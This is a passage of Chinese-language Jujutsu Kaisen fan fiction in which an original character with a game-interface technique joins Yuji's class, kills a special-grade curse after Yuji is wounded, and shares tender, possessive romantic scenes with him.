“原来悠仁喜欢这种女生啊,真是不可思议。”五条悟笑嘻嘻地一个鲤鱼打挺坐起来,走到虎杖悠仁的身边,拍了拍他的肩膀,“好了,那老师就先走了,好好休息哦。” “嗯,五条老师也早点休息!” 木门吱啊打开,虎杖悠仁听见五条悟的脚步声很快就停了下来,随即隔壁的门被敲响了。 “呃啊!干什么啊五条老师!”伏黑惠暴躁的声音响起,带着未醒的睡意。 “哈哈,看看小惠睡觉了没有,晚安嗷!” 砰! 门被大力关上。 五条悟和虎杖悠仁同时缩了缩脖子。 好凶,但老师活该…… 啪啪啪。 教室里响起清脆的掌声,五条悟双手合十又分开,夸张得像在指挥一场交响乐。 “恭喜我们今天要迎来第四个学生咯!”他拖长了声调,嘴角扬起喜悦的弧度,“让我们热烈欢迎小桃同学!” 冷着脸但很给面子的伏黑惠、懒洋洋但随大流的钉崎野蔷薇还有十分积极的虎杖悠仁都鼓起了掌,女生走进来,腼腆地向大家笑了笑。 “我叫今野桃,请多多关照。” “小桃你就坐在这里吧。”五条悟指了指钉崎野蔷薇旁边的位置。四个人再并列成一排就有点挤了,他干脆把座椅调成了两排,女生坐前面,男生坐后面。 今野桃点点头,顺从地坐了下来。 “很好,那么为了庆祝一下……”五条悟拉长了声音。 “吃大餐!”钉崎野蔷薇猛地直起腰。 “开派对!”虎杖悠仁眼睛闪闪发亮。 “……”伏黑惠移开目光,他才不信五条老师会那么好心…… 五条悟嘴角一扬:“我们去做任务吧!” “啊……” 沮丧的声音在教室里回荡,钉崎瘫在桌上,虎杖像被戳破的气球一样瘪了下去,伏黑惠忍不住叹了口气。 怎么又是任务啊…… “哈哈,不过在做任务之前,我们今天的课还是要上完的。” “所以甚至是加班?” “真是让人眼前一黑的痛苦人生啊……” 五条悟并不是负责他们文化课程的老师,他也很忙,没有时间全用在学生身上。上午露个脸后就去做任务了,直到下午的体能课才再次出现。 彼时,一年级的四个人已经按照要求绕着操场跑了三十圈。 钉崎野蔷薇上气不接下气地喘着,呼气声像是破旧的风箱,让人疑心她会不会下一秒就昏厥过去。 “两个……体能怪物就算了……”她撑着膝盖,汗水把她的刘海黏在额头上,每一步都像是踩在棉花上,“为什么今野的体力也这么好……” 今野桃羞涩一笑:“因为不跑快一点,就抓不住悠仁了呀。” “?”钉崎野蔷薇没听懂。 算了,一律当做秀恩爱处理。 终于,在慢走几圈后,她的心跳逐渐恢复了平稳。伏黑惠和虎杖悠仁在玩摔跤,两个女生蹲在阴处。 “对了,你的术式是什么?”钉崎野蔷薇好奇地问道。 “是啊!忘记问小桃的术式了!”也不知道隔了这么远,虎杖悠仁是怎么听见的。 她的术式啊…… 今野桃沉吟着,缓缓开口道:“是‘战略视界’……” “是‘游戏地图’哦!”五条悟突然从草丛里冒出来,把两个女生吓了一跳,“很有意思吧!” “呜啊!”钉崎野蔷薇差点一锤子敲在老师的脑袋上,她愤愤喊道,“五条老师太吓人了啊!” “哼哼,这是测试你们的反应能力哦。”五条悟随口说道,继续刚刚的话题,“你们玩过游戏吧?小桃的术式就像游戏里的地图,不仅可以看见感知范围内的地形地势,还可以标记友方和敌方目标,并且查看对方状态哦。” “……听起来还挺有意思的。”钉崎野蔷薇小声嘟囔,“那我现在是什么状态?” 今野桃看了一眼。 “疲惫:力量和敏捷大幅度降低。 焦虑:智力小幅度降低。” 顺便一提,钉崎野蔷薇的好感值是32,一个嘴硬心软的女生。 伏黑惠的好感值是20。 五条悟的好感值是30。作为老师,他对学生的好感值起始点就很高,但上限也很低,到达临界点后基本不会再增加。 虎杖悠仁的好感值是75。 最后,两面宿傩的好感值是30。 一个不上不下,十分暧昧的数字。 第169章 “哈啊?凭什么降低我的智力啊!”钉崎野蔷薇恼羞成怒,疲惫导致力量和敏捷下降她能理解,怎么焦虑还会让人变成弱智呢? 她一把扯过伏黑惠,咬牙切齿地说道:“那他们呢?” 今野桃看了一眼表面不在意其实耳朵都竖起来了的男生们,回答道:“伏黑的是困乏,敏捷和力量小幅度降低。” 伏黑惠移开视线,抿了抿唇:“昨天没睡好。” “我呢我呢?”虎杖悠仁迫不及待地问道。 “悠仁是……兴奋?”今野桃歪着头,黝黑的眸子里映出少年雀跃的脸,“智力小幅度降低,体质和力量大幅度增加。” 区区三十圈,热身罢了。 虎杖悠仁可是五十米只需要三秒的“大猩猩”啊! “挺好,感觉今野以后做老师一定很方便。”只要看一眼就能把学生的情况掌握得七七八八了。 不过据说一个人的术式是灵魂的外在投射,那么,会诞生这样术式的今野同学,内心又是什么样子的呢? “不仅如此哦。”五条悟意味深长地说道,“小桃的术式还有很多玩法,可以展示一下吗?” 在大家期待的目光中,今野桃犹豫了一下,还是点点头。 手指微动,她打开了众人的属性面板,开始调整起来。 总是被她叫做“游戏地图”的术式在商城里的本名是“战略世界”,脱胎于游戏系统的术式使用起来真的就像在玩游戏。 她给所有人的体质都加了一点,在剧烈运动后的疲惫下,这点数值带来的提高非常明显。 钉崎野蔷薇直起身,握了握拳头,惊奇地说道:“感觉身体轻松了好多!” “bingo!没错,只要在小桃的术式范围内,就可以得到限时的属性加成哦!”五条悟对今野桃比了个大拇指,“当然,老师不建议经常使用这个术式,否则养成依赖就不妙了。” “很好,非常强的辅助。”钉崎野蔷薇拍了拍胸口,豪爽说道,“以后我罩着你!” 伏黑惠虚着眼睛望了过来。 一年级里,虎杖悠仁是她男朋友,钉崎野蔷薇是她保镖,那唯一的坏人就是他咯?专门防他是吧? “噗哈哈哈……”五条悟笑得前仰后合,眼罩都要滑下来了,“走吧,老师带你们去做个任务。”。 太阳高悬,白晃晃地刺眼,柏油马路踩上去都感觉软塌塌的。蝉鸣声从树丛里炸开,一阵高过一阵,歇斯底里地撕扯着空气。 冰淇淋刚刚拿出来就开始往下滴,很快就融化成了一滩粘稠的水。 这个天还出来祓除咒灵,总让人感觉命很苦了。 钉崎野蔷薇甩开怎么也擦不干净的纸巾,抹了把额头的汗水,声音里满是不耐:“怎么安排?只是一个普通的一级任务,早点解决吧。” “但从气息上来看,咒灵不止一只。”伏黑惠抬着头看向这座废弃幼儿园,“我们还是分工一下比较好。” 初入咒术界的小情侣乖巧地站在边上,像两只会说话的呆头鹅。 伏黑惠瞥了他们一眼,说道:“分成两队,一左一右?” “OK。”钉崎野蔷薇和伏黑惠默契地走向同一边,坚决不和情侣组队。 那边两人的身影很快消失,这边虎杖悠仁和今野桃对视了一眼。他忽然有点紧张,于是握了握拳,开口道:“我们也出发吧。” “好,我会辅助悠仁的。”今野桃看了一眼地图,“左边一共有三只,距离都不远。” “没问题。” 虎杖悠仁一马当先冲了出去,今野桃慢吞吞的跟在后面。 她往哪边指,男生就往哪边跑。最后咒灵祓除完毕,大家集合时,女生依然清清爽爽,男生已经灰头土脸了。 “挺有男子汉气概的嘛。”钉崎野蔷薇向男同学投去赞赏的目光,拍拍他的后背,把手上的灰蹭干净了。 虎杖悠仁咧开嘴笑了,露出一排白色的牙齿:“这是我应该做的啦。” 不过…… “为什么你们这队,钉崎的衣服这么脏,伏黑的衣服却这么干净呢?”少年来回打量,发现了不同之处。 感觉角色有点对调了? “我是召唤师,怎么了,有意见吗。”伏黑惠眼睛一瞪,手指一比,就要把玉犬召唤出来 。 虎杖悠仁立刻捏起食指和拇指,把嘴巴“缝”起来了。 看见学生们成功归来,五条悟非常开心。 “很好,恭喜你们完成‘新手任务’,接下来请自行返回高专休息吧!”他坐在副驾驶,朝几人挥了挥手,“你们英俊帅气的五条老师要去打高级副本咯!” 说完,就给他们吃了一屁股尾气。 “……等等,五条老师把车开走了,那我们怎么回去?”虎杖悠仁呆呆地说道。 “看样子只有坐公交了。”伏黑惠打开手机,开始搜索地图。 “坐公交啊……”钉崎野蔷薇的肩膀耷拉下来,“到高专还赶得上吃晚饭吗……” 嘀嘀。 车子的喇叭响起。 好消息,他们不用坐公交加步行返回了。 坏消息,还有一个任务再等着他们做。 “抱歉。”伊地知洁高推了推眼镜,严肃地说道,“这个任务比较紧急,再加上现在的一级咒术师都没有空,所以只能找你们来了。” “目前已经确认了咒胎的位置,趁它还没有孵化,我们必须尽快找到幸存者,并且摸清楚里面的情况。”伊地知的目光扫过几个面色稚嫩的学生,加重了语气,“目前确认了里面还五个人和咒胎一起留在了里面,而这次的咒胎如果孵化完成的话,预计有可能会形成特级咒灵。” 特级…… 听起来好像很可怕。 “特级,完全不是我们能够应对的吧。”伏黑惠喃喃道,“不应该是五条老师来吗……” “很不巧,五条老师刚刚上飞机,暂时无法联系到他。”伊地知摇摇头,“而且,我们这行人手不足也是常事了。” 这样啊…… 刹车声响起,车子停在了被封锁区域的门口,伊地知把他们送到了校门处,那黑洞洞的大门仿佛是一张吞噬生命的巨口。 “记住,你们的任务只有确认并救出幸存者,不要做多余的事情。” 他最后叮嘱道,语气比平时更加紧绷。 “帐”放了下来,伏黑惠召唤出玉犬。 就在将要走进教学楼的时候,今野桃停下了。 “怎么了,小桃?”虎杖悠仁回头看她。 女生眉毛紧皱,本就白皙的皮肤在此刻像纸张一样毫无血色。 “那个咒胎……”她嗫嚅道,声音轻得像片落叶,“真的没有被孵化出来吗?” 另外三人呼吸一窒。 良久,虎杖悠仁干巴巴地开口道:“应该……没有吧?如果是特级的话,那不是早就被发现了?” 钉崎野蔷薇舔了舔干燥的嘴唇:“都这个时候了,也没办法再退缩了。” “三个小时前观测到的咒胎,没这么快孵化。”伏黑惠垂下眼睑,“今野,麻烦你多注意一下周围,如果有什么异样就提醒我们。万一……万一真的有危险,你先跑。” 她是他们几人中战斗力最弱的,必须先保护好自己。 “没错,小桃,到时候你就远程使用术式辅助我们。”虎杖悠仁握住了女朋友的手,认真道,“我们会拦住咒灵的。” “别说丧气话!”钉崎野蔷薇用力敲了敲两个男生的脑袋,“这还没进去呢,说不定我们转一圈就出来了!” 今野桃抿了抿唇,微微点头:“好,我知道了。” “别怕,小桃,我会保护你的。” 虎杖悠仁这么说着,但当黑色的圆洞出现在女生的脚下,她们两人同时掉下去的时候,两个男生却没有一个反应过来。 “什么鬼啊!没用的男生!”钉崎野蔷薇骂骂咧咧地爬起来,气得嗷嗷叫,她挥舞着锤子,对身后的今野桃说道,“看见了没,关键时刻还得靠自己!” 今野桃对她弯了弯眼睛,乖巧点头。 钉崎野蔷薇的嘴角刚扬起一丝满意的弧度,正想再说什么,一片漆黑中,无数惨白的面具毫无征兆地从虚空中浮现,它们像被无形的丝线吊着,静静地悬浮在她们头顶。那些面具空洞的眼窝里流转着不详的红色光芒,紧紧盯着她们。 钉崎能感觉到那些面具的视线正黏腻地爬过她的皮肤,像无数只冰冷的手在轻轻抚摸。 “可恶……怎么这么多,真麻烦。”钉崎野蔷薇面色沉了下来,往前一步,“辅助我,今野。” “好。” 两人互相掩护,勉强能应付过来。一波又一波的咒灵如潮水向她们涌来,让她们喘不过气。 忽然,钉崎野蔷薇察觉到不对劲。今野桃的动作停了下来,给她报点的声音也消失了。 “怎么了,是没有咒力了吗?”她敲出一枚钉子,将身前的咒灵钉在了地上,回过头后,眼睛微微睁大。 女生在发抖。她的眼睛亮得吓人,黑色的瞳孔里像是有岩浆在翻涌。她的牙齿咬着嘴唇,在皮肤上留下了深深的痕迹。 “钉崎……”她的声音沙哑,眨眼间有眼泪落下,“悠仁他,他受伤了……” “什么?”钉崎野蔷薇没听清楚。 女生的声音陡然放大,那一瞬间,她的喉咙里爆发出的撕裂的叫声,仿佛一枚被引燃的炸弹,要和全世界同归于尽。 “不可饶恕!竟然敢伤害悠仁!不可饶恕!” 她猛地一拳锤在了地面上,蛛网般的裂缝以她为中心向四周蔓延。 站在上面那层的男生们忽然脚下不稳,差点摔倒在地。 “这是……地震了?” 第170章 手腕齐根断掉的那一瞬间是感觉不到疼痛的,因为神经也被切断了。但很快,钻心的痛苦就会从伤口处蔓延到全身,连理智都好像随着血液一并流出去了。 但死亡的威胁仍近在咫尺,他们不能昏迷,也不能放松。 虎杖悠仁咬牙,用皮带将伤口扎紧,疼痛敲击着他的太阳穴,大颗大颗的冷汗从额头滚落。 “宿傩,我要是死了,你也会死的。”他试图用语言打动身体里的那位“房客”,“不想死就帮我一把!” 得到了意料之中的拒绝。 “就算我在你的身体里死掉,我还有十八个灵魂分身分散各处。”猩红的眼珠里转动着恶意的光芒,两面宿傩用戏谑的语气说道,“反正这具身体又不能由我控制,你想换就换吧。” 虎杖悠仁的唇线抿成了薄刃,却又无可奈何。 “啊,差点忘了。”两面宿傩轻飘飘地说道,“等你死了之后呢,比起杀掉咒灵,我会先拧断那个海胆头小鬼的脖子,再把你那位女同学撕成碎片。”他的语调陡然缠绵,“最后才是你心爱的小桃。看,我对你好吧,我可是把你最喜欢的东西放在最后杀掉哦。” 虎杖悠仁猛地瞪大了眼睛,咬肌在脸颊两侧鼓起,颈侧的青筋如树根般虬结暴起。 “我以为,你也挺喜欢小桃的……”他摩擦着牙关,声音从齿缝里挤出, “是挺喜欢的。”两面宿傩叹息道,“在 你面前慢慢碾碎她……光是想象你崩溃的模样,就令人期待呢。” 灵魂如果出现裂隙,就是他入侵的最好时机。 虎杖悠仁沉默,眉梢扬起了锋利的弧度,眼底的怒火如同熔岩般翻涌,却被他死死压抑在平静的表象之下。 “不会让你得逞的。”他坚定地说道。 两面宿傩不爽地半阖眼睑,这家伙,连睡觉的时候都像是看门狗一样防着他。 “随你好了,但是继续跟我说话,你的伙伴就真的没命咯。”他懒散开口道。 他会等着的,等虎杖悠仁跪在地上祈求他的那天…… 轰——! 大地突然剧烈震颤,碎石从天花板簌簌落下。两个男生脚下不稳,险些摔倒。 是特级咒灵发动攻击了吗? 不对! “不会是地震了吧!”虎杖悠仁一个趔趄,勉强稳住了身体,他瞪大眼睛,满脸不可思议地看向伏黑惠,“生得领域里也会地震?” 他对于伏黑惠刚刚才解释过的词语不太了解,换来了对方无语的眼神。 “生得领域里怎么可能地震,你真是……”他的音调骤然抬高,瞳孔猛地收缩,“小心!” 大概是察觉到了危机,特级咒灵不再以一种游戏的心态逗弄面前的猎物,它猛地冲了过来,磅礴的咒力凝聚成一颗圆球,狠狠将虎杖悠仁击飞。 它的速度相当快,几乎只是眨眼的功夫,虎杖悠仁重重地砸进了墙内,整个人都陷在了里面。 他的嘴角流下了一行鲜血,五脏六腑传来的疼痛已经不会再让他失态了,剧痛让他的神志变得恍惚,大脑开启了自我保护系统。 好辛苦啊…… 如果我当时没有捡起那根手指。 如果我当时没有将它吃掉。 如果我…… 为什么……为什么我会这么弱小……原来……原来我就是这么弱小的存在吗…… 太可笑了,我竟然以为自己很强……强到能选择自己的死法…… 虎杖悠仁自嘲地扯了扯嘴角,身体缓缓从墙面上滑落,在斑驳的墙面上拖出一道刺目的血痕。 “悠仁……”呼唤他的声音从远到近,听在耳朵里仿佛隔了一层毛玻璃,影影绰绰听不分明。 是爷爷吗……?来将他从人世间接走吗? 滴答。 冰凉的水珠落在了他的脸上,把他迷蒙的神志拉回了几分。 是……小桃啊…… “小桃……”他极力想要如往常那样扬起一个笑脸,但最终却只是几不可见地扯了扯嘴角,“快走……小桃……” “不要!”女生俯身抱住他,眼泪很快就打湿了他的衣襟,“是谁……是谁伤害了悠仁?” 两面宿傩的嘴巴冒了出来,说着风凉话:“还不逃吗?死在他的面前,搞不好真的会让他崩溃的哦。” “今野!”伏黑惠的声音从身后传来,女生蓦地回头,特级咒灵已然闪现到了她的面前,无机质的棕色眼珠锁定了她。 嘻嘻嘻…… 它要把这两个玩具,一起捏碎! 砰!! 轰然巨响中,烟尘如浪潮般翻涌。待尘埃落定,只见女生单手抓住了特级咒灵的手腕。 “是你……伤害了悠仁!”女生一字一句地说道,模样如同从地狱深处爬出来的恶鬼,咒力在她的身上盘踞扭曲,乍一看竟比咒灵更加恐怖,“去、死!” 这是一场一面倒的战斗,特级咒灵突然变成了一个沙包,在女生的手下完全没有还招的机会。 “我要撕开你的皮肉!流干你的血液!吸光你的骨髓!”女生重重一拳锤在了咒灵的脑袋上,骨骼碎裂的脆响清晰可闻,“我要把你抽筋扒皮!碎尸万段!” 咒灵哀嚎一声,萎靡在地。 从裂缝里爬出来的钉崎野蔷薇看得一愣一愣的,对伏黑惠说道:“她是不是把那个咒灵……吃掉了?” “好像是。” 很难说清楚那种感觉,女生每击中咒灵一次,那咒灵就肉眼可见地变弱一分,仿佛她真的把那只咒灵给“吃”掉了。 是术式吗?可以增强友方目标,那自然就可以削弱敌方目标。 终于,咒灵化作了一滩“肉泥”。 她全身都是被溅到的污秽,紫色的血液从她的脸颊上滴落,在脚下积成一汪粘稠的血泊。 她随意抹了一下,转身跌跌撞撞地走向虎杖悠仁,在他身前跪了下来。 “真厉害啊……小桃。”少年的嘴唇苍白,已经到了弥留之际,“这样……我也终于能放心了……” 小桃已经不需要他保护了,也不会再被欺负了…… “不要……悠仁,不要离开我……”女生哭得难以自已,她的手指紧紧攥住他的衣襟,像是要抓住最后一丝希望,“我不能没有悠仁……” 然而,少年的呼吸还是越来越慢。 两面宿傩咂了咂嘴,在生得领域里问虎杖悠仁:“真的不想继续跟你的小女友甜甜蜜蜜吗?只要和我定下‘契阔’就行哦。从此以后我们共享这具身体,岂不两全其美?” “不可能的。”虎杖悠仁漠然回道,“你想都别想,我不会允许你用我的身体做出伤害大家的事情。” 真麻烦。 “那我们不平分,我要你一天里的六个小时总行吧?”两面宿傩让步道。 “不行。” “三个小时!不能再少了!” “不!” 虎杖悠仁十分坚定,他已经做好死去的准备了。 这是他的选择,为此他绝不后悔…… “呜呜呜,悠仁……”女友吸了吸鼻子,捧起了他的脑袋,“当初说了,如果悠仁变成怪物的话,就让悠仁把我吃掉。现在……那就让我把悠仁吃掉吧……吃掉的话,悠仁也会永远跟我在一起的……” “?” 生得领域里,虎杖悠仁和两面宿傩一起抬头。 等等,他们听见了什么? 两面宿傩的嘴角扯出一个古怪的弧度,他靠坐在骨头堆积而成的王座上,俯视着虎杖悠仁:“你这女朋友……倒挺有意思的。” 他舔了舔尖牙,语气里带着几分玩味。 虽然嗜好吃人,但被吃那可不在他的计划之内。 “冷静一点啊!小桃!!”虎杖悠仁抱头尖叫,却因为受伤过重而无法清醒。 “没用的东西,滚。”两面宿傩一脚把他踹开。 今野桃擦掉眼泪,神情郑重地低下了头。就在她的嘴唇将要碰到少年时,“他”睁开了眼睛。 “悠仁,别怕。”她将他总是对她说的话原样奉还,“很快的,很快我们就能融为一体了……” “虎杖悠仁”沉默两秒,开口道:“我没死。” “诶?”女生呆呆地看着他,眼泪还凝在睫毛上将落未落,“但是你的手……” “好了。”“虎杖悠仁”伸出手,原本断掉的地方已经重新长了出来。 女生破涕为笑,一把抱住了他。 “太好了,悠仁!”她抽泣着,柔软的身体紧紧贴着他。“虎杖悠仁”眨了眨眼睛,低头露出了一个邪肆的笑。 从特级咒灵凄惨的模样来看,只有一根手指力量的他,大概不会是她的对手。 既如此,那他收取一点救人的利息,应该也不为过吧。 “呐,小桃。”他的手指捞起一缕黑色的长发,在她耳边轻柔地说道,“为了庆祝我复活,来接个吻吧。” 170-180 第171章 接……吻? 女生黑亮的瞳孔微微颤动,带着几分困惑,似乎没想到他会这样说。 “虎杖悠仁”的手指穿过她的发丝,指腹轻轻摩挲着她的耳垂,语气温柔缱绻:“不可以吗?难道小桃不为我的复活而感到高兴吗?” “不是……我、我当然高兴,但是……”她的声音越来越小,眉头不自觉地皱起,表情有点懵懂,似乎陷入了某种纠结之中。 “虎杖悠仁”没有给她思考的时间,手指掐着她的下巴抬 了起来,嘴唇就贴了过去。 他吻在了女生的手背上。 “等等。”女生的表情逐渐变得阴冷,原本柔和的眉眼中也浮现了锐利之色,“你不是悠仁,你是谁?” “虎杖悠仁”挑眉,眼底的阴鸷几乎要溢出来,嘴上却仍然说道:“怎么了,我就是悠仁呀。” 她仿佛终于确定了真相,纤细的手指张开,狠狠掐在了他的脖子上。 “你不是悠仁,你是附在悠仁身上的妖怪!”她的语气低沉,带着些许杀意,“从悠仁的身体里滚出来!” 啧。 “虎杖悠仁”被看穿后,也懒得继续遮掩,闻言嗤了一声:“无趣。” 他闭上了眼睛,再次睁开时,那双琥珀色的瞳孔里已然变得清澈透亮。 “小桃!”他吸了吸鼻子,重重抱住了她,“我还以为再也见不到你了呢!” 女生的神情还有些迷茫,手臂却下意识环住他的腰,本能地轻拍他的后背,口中喃喃道:“不会的,悠仁一定会没事的。” 少年的眼角还带着晶莹的泪珠,他在女生的肩膀上来回蹭了蹭,最后侧着头亲了上去。 “悠、悠仁……”女生未说完的话语被吞没在相接的唇瓣之间。 或许是劫后余生的狂喜作祟,这个吻比平时更加急切。尖锐的虎牙咬在内侧的软肉上,带着细微的刺痛。 女生不自觉地张开唇,柔韧的舌头便顺着缝隙钻了进来,大肆扫荡。 这个吻从温柔变得激烈,又从激烈变得温柔。当重叠在一起的人影分开时,湿润的水痕为原本苍白的嘴唇带来了几分血色。 女生的视线落在了碎裂的地面上,那散落的石子突然变得与众不同起来,让她挪不开目光。 虎杖悠仁能看见她通红的耳廓,还有白中带粉的脖子。 他伸出手,轻轻地摸了摸。女生迟疑了一下,攥住了他的衣摆。 两人都没有说话,好像各怀心事。 生得领域里,两面宿傩斜靠在骨座之上,微微挑眉,用指腹擦过唇角,露出一个意味深长的笑。 伏黑惠的声音打破了这片诡异的沉默。 “你们好了吗。”他语气平静,“我已经把照片发给五条老师了。” 虽然咒灵无法被摄像头捕捉到,但从现场的痕迹也能看出这场战斗的激烈。 如果不是今野桃突然爆发,他们绝对会损失惨重。 进入少年院时,她说的话还清晰地回荡在他们的耳边。 ‘那个咒胎,真的没有被孵化出来吗?’ 如今看来,一切都是陷阱。 “好、好了!”虎杖悠仁回过神,连忙喊道。他刚要起身,却感觉到身边的女生拽了拽他的衣服,“怎么了,小桃?” 今野桃抿了抿唇,神色有点羞赧。 “悠仁,我好像有点脱力了。”她声如蚊蚋地说道,“刚刚我把自己的属性都拉到了极限,现在解除术式后,就有点使不上力……” 虎杖悠仁二话不说,弯腰将她抱了起来。 “没关系,交给我吧。”他朝她弯了弯眼睛,好像终于恢复了正常。 今野桃轻轻地把脑袋搁在他的肩上,慢慢地,她的呼吸变得均匀而平稳。 虎杖悠仁小心翼翼地抱着她上车,把她放在了大腿上。 伊地知看了一眼难掩疲倦的几人,什么都没问。 “先回去吧。”他发动了车子,表情也有点不好看,“五条老师也在回来的路上了。” 五条悟甚至回来得比他们更快。 远远望见那个高大的身影坐在走廊长椅上时,所有人都松了口气。银白的发丝在灯光下格外醒目,男人转过头,即使隔着黑色眼罩也能感受到他投来的视线。 他笑着朝众人打了个招呼:“哟,回来了。” “是的,活着回来了。”伏黑惠低声回道。 钉崎野蔷薇给老师展示了一下自己断成两半的锤子,心疼道:“这个学校能报销吗?” 一下车就醒了的女生紧紧依偎在男友身边,小声地说道:“辛苦了,五条老师。” 她还记得伊地知说的,他们在做任务时,五条悟正在飞机上。现在能赶回来,绝对不是件简单的事情。 “哈哈,不辛苦,为了可爱的学生嘛。”五条悟拍拍虎杖悠仁的肩膀,“你没事吧?” 虎杖悠仁看向自己的右手,那里曾断成两截又恢复了。 “还……还好吧。”他勉强扯出个笑容,“多亏了小桃,还有……宿傩。” 五条悟顿了顿,疑惑道:“你把宿傩放出来了?” “他不把我放出来,你就等着给他收尸吧。”两面宿傩的嘴巴出现在虎杖悠仁的脸颊上,笑吟吟地说道,“你们在场的人,可没有一个会反转术式的。” “原来如此。”五条悟听懂了,“看样子悠仁压制宿傩的动作也越来越熟练了。” 伏黑惠和钉崎野蔷薇的目光漂移了一下。 “两面宿傩不是被虎杖压制的。”两人艰难地咽了咽口水,又想起女生曾经石破天惊的“暴言”,“是今野压制的。” “诶?”五条悟歪了歪头,“难道情侣间还有这种特殊联动?” “哎呀,当时虎杖不是只剩一口气了吗,然后宿傩又迟迟不肯出来帮忙,所以今野说,等虎杖死了,就把他一口一口吃掉,然后就可以永远在一起了。”钉崎野蔷薇噼里啪啦地说完,清了清嗓子,“不过,我相信今野应该是开玩笑故意吓宿傩的吧。” ——才怪。她当时那个样子,可不像是在开玩笑。 另一个在场的伏黑惠没有对钉崎野蔷薇这番立场偏颇的话作任何评价。 五条悟听完也沉默了。 他几次张了张嘴又闭上,最终选择笑一笑算了。 就当做是秀恩爱处理吧,没看悠仁都没说话吗。 “行了,有什么事老师会来处理的。”五条悟把手插在了裤兜里,“你们先回去休息。” “……是。” 摸了摸女友的头顶,两人在宿舍楼下告别。目送她的身影消失在宿舍楼拐角,虎杖悠仁才拖着仿佛灌了铅的双腿回到房间。 床板发出不堪重负的吱呀声,沉重的身躯倒在了床上,少年连外套都懒得脱,随手扯过被子就想睡觉。 他太累了,从身体到心灵,没有一个地方不觉得疲倦。 脑子里一直绷紧的弦到现在也没放松,太阳穴突突直跳。 他没有开灯,在翻过身后,把身体像胎儿般蜷缩了起来。 思绪如打翻的拼图碎片,杂乱无章地漂浮着。快乐的、痛苦的、荒谬的记忆不断闪现,最终堆积成令人窒息的垃圾山。 隔壁也很快变得安静,窗帘紧闭,棺材似的房间里,只能听见他粗重的呼吸声。 虎杖悠仁没有闭上眼,目光直勾勾地盯着虚空中的某处。 不知道过了多久,有窸窸窣窣 的动静出现。 他的睫毛颤了一下,眼珠微微动了动。 很轻很轻的敲击声响起,虎杖悠仁犹豫了一下,还是起身,掀起了窗帘一角。 女生蹲在草丛里,泪眼汪汪地仰着头。 她用气音说道:“悠仁,我好怕。” 虎杖悠仁慢慢地打开了窗户,合页转动的声音撕开了这片沉郁的黑暗。他向她伸出了手,在掌心交握时,他稍稍用力,把人拽了上来。 带着夜露寒气的身体撞进怀里,裹挟着沐浴露的香味,像一片飞向他的花瓣。 第172章 微凉的晚风穿过半开的窗棂,虎杖悠仁下意识收紧了环抱的双臂,少女单薄的身躯在他怀中微微瑟缩。肌肤相触的瞬间,他感觉入手的是一块冰冷的玉。他的指腹擦过她的脸颊,让她忍不住眯起了眼睛。 像一只猫咪。 女生大概是已经洗过澡了,发丝间还带着没有吹干的水汽。 宽大的睡裙下摆被夜风掀起浪花般的弧度,虎杖慌忙用掌心压住翻飞的布料,另一只手穿过她的膝弯,把她打横抱了起来。 今野桃勾住了他的脖子,脸颊埋在他的颈侧。她的呼吸轻柔得像片羽毛,一下一下地瘙过他的肌肤。 窗户再次被关上,窗帘也重新拉紧,屋子里恢复了伸手不见五指的黑暗。 但奇特的是,之前那种窒息和阴沉却荡然无存,取而代之的是似有若无的暧昧。像是冰镇汽水“噗嗤”打开后不断上升的气泡,又像被装在玻璃瓶里的蜂蜜,能被拉出甜蜜的细丝。 他抱着她在屋子里转了一圈,一开始想把她放在椅子上,又担心冰冷的椅子会硌着她。最终,他小心地把女生放在了床上。少年刚刚躺过的被褥里还残存着几分温暖,她乖巧地往旁边挪了挪,让出了一半的位置。 是让他也躺上去吗? 虎杖悠仁愣了一下,眼神有点游离。 不、不太合适吧…… 以为他没理解自己的意思,女生干脆拍了拍空出来的半边床铺。 虎杖悠仁的喉结上下滚动了两下,把外套脱掉,欲盖弥彰地走到角落里换上了睡衣,随后蹑手蹑脚地爬了上去。 躺下的时候,他的身体竖得笔直,双手交叠放在腹部,目不斜视。 小桃只是有点害怕,同床共枕安慰一下她而已,没什么大不了的。 他在心里对自己说。 然而,会不会发生什么事情,并不取决于他。 考虑到隔壁的伏黑应该已经睡着,她的动作很轻,一拱一拱地把自己塞进了少年的怀里。凌乱的头发蹭在手臂上,痒痒的。 “悠仁,你是不是在不高兴?”她趴在他的胸口,小声问道。 虎杖悠仁的手托在她的脑后,语气低沉地回答:“没有啊。” “不,你有,这种事你骗不过我的啦。”女生郑重地说道,“悠仁有什么不高兴的一定要说出来,不然憋在心里会很难受的。说出来,我们还可以一起想办法解决。” 虎杖悠仁的心里忽地生出了委屈。 如果是一个人的时候,他还可以慢慢排解。但当被安慰了后,那种情绪就变得异常激烈,好像全世界都辜负了自己。 “小桃,你会不会觉得,我很弱?”他喃喃道,如果不是在这无比寂静的夜晚,绝对会听不清楚。 “弱?”女生微微睁大眼睛,“悠仁哪里弱啦?一直以来,都是悠仁在保护我、照顾我,悠仁一点都不弱哦。” “但今天是你在保护我。”虎杖悠仁脱口而出,他微微侧过脸,不想让她看见自己脸上有点难堪的表情。 原来如此,一直处于“保护者”角色的少年在被保护后感受到了落差,身份的转变让他无所适从。 尤其是面对特级咒灵时,自己无能为力的样子深深刺痛了他的自尊。 他真的能保护好小桃、保护好大家吗? 还是说,一直以来,都是他在自以为是? 虎杖悠仁的胸口剧烈起伏了两下,最终只挤出一句带着懊恼的低语:“抱歉,小桃,让你为我担心了……” “我是不知道悠仁是怎么判定一个人是否强大的啦。”女生伸手捻起他一缕翘起的粉色发丝,在指尖轻轻缠绕。发丝有些硬,很像他倔强的性格,“因为杀掉了那个特级咒灵,所以悠仁觉得我很强吗?” 虎杖悠仁飞快地回道:“那当然啊!我们都没办法消灭它,只有小桃做到了!小桃比我们都要强!” 今野桃低低地笑了,指尖轻轻一拽,把他的头发拉直又松开。虎杖下意识顺着她的力道偏过头,猝不及防地对上她的眼睛。 “但我离不开悠仁。”她轻柔的话语织就出了一张密不透风的蛛网,把他牢牢捆在其中,“就如藤蔓离不开大树,鱼儿离不开水。” 虎杖悠仁怔住。他的脑子嗡地一声炸开,脸颊瞬间爆红,耳尖烫得像是要滴血。 “你你你……”她从未说过这样露骨的情话,一个音节就带走了他的一分理智,“但是小桃以后总要……” “不会的。”她注视着他,指尖从他的发梢滑下,轻轻蹭过他的耳廓,“我这辈子都不会离开悠仁的。悠仁就把我当成是武器来使用吧,如果没有悠仁,我最终也只会在架子上蒙尘。” 虎杖悠仁喉咙发紧,心脏在胸腔里疯狂跳动,震得他几乎听不清自己的声音。他想说什么,却又说不出口。 